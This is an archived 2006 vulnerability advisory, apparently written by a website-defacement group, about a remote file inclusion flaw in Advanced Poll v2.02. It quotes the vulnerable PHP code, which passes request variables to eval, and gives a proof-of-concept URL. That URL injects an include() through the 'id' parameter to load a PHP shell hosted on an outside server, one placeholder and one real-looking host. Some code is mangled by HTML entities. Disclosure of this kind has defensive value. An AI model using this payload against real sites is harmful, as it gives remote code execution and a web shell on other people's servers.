Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:14594
HistoryOct 09, 2006 - 12:00 a.m.

Advanced Poll v2.02 :) <= Remote File Inclusion

2006-10-0900:00:00
vulners.com
58

±-------------------------------------------------------------------
+

  • Advanced Poll v2.02 :) <= Remote File Inclusion

±-------------------------------------------------------------------
+

±-------------------------------------------------------------------
+

  • Code comments.php:
  • $register_poll_vars = array("id","template_set","action");
  • for ($i=0;$i<sizeof($register_poll_vars);$i++) {
  • if &#40;isset&#40;$HTTP_POST_VARS[$register_poll_vars[$i]]&#41;&#41; {
    
  •     eval&#40;&quot;&#92;$$register_poll_vars[$i] =
    

\"".trim($HTTP_POST_VARS[$register_poll_vars+ [$i]])."\";");

  • } elseif &#40;isset&#40;$HTTP_GET_VARS[$register_poll_vars[$i]]&#41;&#41; {
    
  •     eval&#40;&quot;&#92;$$register_poll_vars[$i] =
    

\"".trim($HTTP_GET_VARS[$register_poll_vars+ [$i]])."\";");

  • } else {
    
  •     eval&#40;&quot;&#92;$$register_poll_vars[$i] + &#39;&#39;;&quot;&#41;;
    
  • }
    
  • }
  • =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  • PoC:
  • Place a PHPShell on a remote location:
  • http://sec-area.com/sh.txt?
  • http://[target]/poll/comments.php?id={${include($ddd)}}{${exit()}}&ddd=Http://EvilShell

±-------------------------------------------------------------------

  • [W]orld [D]efacers [T]eam
  • Greets:
  • || rUnViRuS || - || papipsycho || - || HeX || - || Linux Master || BLaCKWHITE
    ||
  • || P-r-O H-a-C-k-E-r-S ||

±------------------------[ W D T ]----------------------------------